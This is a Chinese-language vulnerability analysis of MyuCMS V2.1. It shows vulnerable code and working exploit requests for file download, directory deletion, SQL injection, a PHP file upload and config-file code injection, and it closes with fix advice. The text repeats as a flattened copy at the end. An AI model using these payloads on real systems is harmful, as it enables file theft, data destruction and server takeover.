MyuCMS_V2.1漏洞分析
字数 1310 2025-08-26 22:11:57

MyuCMS V2.1 漏洞分析与利用指南

1. 漏洞概述

MyuCMS V2.1 基于 ThinkPHP 5.0.24 开发,存在多个高危漏洞,包括:

  • 前台任意文件下载
  • 任意目录删除
  • SQL注入
  • 文件上传漏洞
  • 命令执行漏洞

2. 漏洞详细分析

2.1 前台任意文件下载漏洞

漏洞位置bbs模块下的Index控制器的download方法

漏洞成因

  1. download方法接受三个完全可控的参数($url, $name, $local)
  2. 参数直接传递给Http类的download方法
  3. Http->download()方法未对参数内容进行限制

关键代码

public function download($filename, $showname='',$content='',$expire=180) {
    if(is_file($filename)) {
        $length = filesize($filename);
    }
    // ...省略其他代码...
    readfile($filename); // 直接读取并输出文件内容
}

利用方法

http://target/bbs/index/download?url=application/database.php&name=&local=1
http://target/bbs/index/download?url=c:/windows/win.ini&name=&local=1

影响

  • 可下载服务器任意文件
  • 结合phar反序列化可实现任意文件删除和写入(Linux下)

2.2 任意目录删除漏洞

漏洞位置application/common.php中的deleteun函数

漏洞成因

  1. deleteun函数递归删除目录及其内容
  2. 未对传入参数进行任何限制
  3. 多处调用该函数且部分无需认证

关键代码

function deleteun($dir_name) {
    if (is_dir($dir_name)) {
        // 递归删除目录内容
        if ($item != '.' && $item != '..') {
            if (is_dir($dir_name . DS . $item)) {
                deleteun($dir_name . DS . $item);
            } else {
                unlink($dir_name . DS . $item);
            }
        }
        rmdir($dir_name); // 删除目录
    }
}

利用方法

http://target/admin/Addons/un?info=../install

影响

  • 可删除服务器上任意目录
  • 部分调用点无需认证即可利用

2.3 SQL注入漏洞

漏洞位置application/bbs/controller/User.php中的xiaoxidel方法

漏洞成因

  1. 使用字符串条件拼接SQL语句
  2. 未使用预编译机制
  3. 用户输入直接拼接到SQL语句中

关键代码

public function xiaoxidel($ids) {
    // ...
    $id = input('id');
    Db::name('xiaoxi')->where("id = {$id}")->where('userid', session('userid'))->update($data);
    // ...
}

利用方法

id=2) and updatexml(1,concat(0x7e,(select database()),0x7e),1) and (1

影响

  • 可执行任意SQL语句
  • 获取数据库敏感信息

2.4 文件上传漏洞

漏洞位置application/admin/controller/Forum.php中的doUploadPic方法

漏洞成因

  1. 直接调用move方法处理上传文件
  2. 未调用validate()方法设置验证规则

关键代码

public function doUploadPic() {
    $file = request()->file('FileName');
    $info = $file->move(ROOT_PATH . DS . 'uploads');
    // ...
}

利用方法

POST /admin/forum/doUploadPic HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=boundary

--boundary
Content-Disposition: form-data; name="FileName"; filename="shell.php"
Content-Type: image/jpeg

<?php phpinfo(); ?>
--boundary--

影响

  • 可上传任意文件类型
  • 导致服务器被完全控制

2.5 命令执行漏洞

漏洞位置:多个控制器的配置更新方法,如Config.phpadd方法

漏洞成因

  1. 使用file_put_contents更新配置文件
  2. 未对参数内容进行验证
  3. 用户输入直接拼接到PHP配置文件中

关键代码

public function add() {
    $path = 'application/extra/web.php';
    // ...
    foreach ($res as $key => $value) {
        $str .= '\''.$key.'\''.'=>'.'\''.$value.'\''.',';
    }
    file_put_contents($path, $str);
}

利用方法

POST /admin/config/add.html HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

WEB_INDEX=bbs',phpinfo(),'&WEB_RXT=rar,png,...[其他参数]

影响

  • 可写入任意PHP代码到配置文件中
  • 导致服务器被完全控制

3. 漏洞修复建议

  1. 输入验证

    • 对所有用户输入进行严格过滤
    • 使用白名单机制限制文件路径和类型
  2. 安全编码

    • 使用预编译SQL语句
    • 文件操作前检查路径合法性
    • 上传文件时设置严格的验证规则
  3. 权限控制

    • 实现严格的权限验证
    • 敏感操作需二次确认
  4. 更新框架

    • 升级到最新版本的ThinkPHP
    • 修复已知的安全问题
  5. 日志监控

    • 记录所有敏感操作
    • 设置异常行为告警

4. 总结

MyuCMS V2.1存在多个高危漏洞,攻击者可利用这些漏洞实现:

  • 服务器文件系统任意读取
  • 目录和文件删除
  • 数据库信息泄露
  • 任意文件上传
  • 服务器完全控制

建议用户立即升级到修复了这些漏洞的版本(V2.2.3及以上),并按照上述建议加强系统安全防护。

MyuCMS V2.1 漏洞分析与利用指南 1. 漏洞概述 MyuCMS V2.1 基于 ThinkPHP 5.0.24 开发,存在多个高危漏洞,包括: 前台任意文件下载 任意目录删除 SQL注入 文件上传漏洞 命令执行漏洞 2. 漏洞详细分析 2.1 前台任意文件下载漏洞 漏洞位置 : bbs 模块下的 Index 控制器的 download 方法 漏洞成因 : download 方法接受三个完全可控的参数( $url , $name , $local ) 参数直接传递给 Http 类的 download 方法 Http->download() 方法未对参数内容进行限制 关键代码 : 利用方法 : 影响 : 可下载服务器任意文件 结合phar反序列化可实现任意文件删除和写入(Linux下) 2.2 任意目录删除漏洞 漏洞位置 : application/common.php 中的 deleteun 函数 漏洞成因 : deleteun 函数递归删除目录及其内容 未对传入参数进行任何限制 多处调用该函数且部分无需认证 关键代码 : 利用方法 : 影响 : 可删除服务器上任意目录 部分调用点无需认证即可利用 2.3 SQL注入漏洞 漏洞位置 : application/bbs/controller/User.php 中的 xiaoxidel 方法 漏洞成因 : 使用字符串条件拼接SQL语句 未使用预编译机制 用户输入直接拼接到SQL语句中 关键代码 : 利用方法 : 影响 : 可执行任意SQL语句 获取数据库敏感信息 2.4 文件上传漏洞 漏洞位置 : application/admin/controller/Forum.php 中的 doUploadPic 方法 漏洞成因 : 直接调用 move 方法处理上传文件 未调用 validate() 方法设置验证规则 关键代码 : 利用方法 : 影响 : 可上传任意文件类型 导致服务器被完全控制 2.5 命令执行漏洞 漏洞位置 :多个控制器的配置更新方法,如 Config.php 的 add 方法 漏洞成因 : 使用 file_put_contents 更新配置文件 未对参数内容进行验证 用户输入直接拼接到PHP配置文件中 关键代码 : 利用方法 : 影响 : 可写入任意PHP代码到配置文件中 导致服务器被完全控制 3. 漏洞修复建议 输入验证 : 对所有用户输入进行严格过滤 使用白名单机制限制文件路径和类型 安全编码 : 使用预编译SQL语句 文件操作前检查路径合法性 上传文件时设置严格的验证规则 权限控制 : 实现严格的权限验证 敏感操作需二次确认 更新框架 : 升级到最新版本的ThinkPHP 修复已知的安全问题 日志监控 : 记录所有敏感操作 设置异常行为告警 4. 总结 MyuCMS V2.1存在多个高危漏洞,攻击者可利用这些漏洞实现: 服务器文件系统任意读取 目录和文件删除 数据库信息泄露 任意文件上传 服务器完全控制 建议用户立即升级到修复了这些漏洞的版本(V2.2.3及以上),并按照上述建议加强系统安全防护。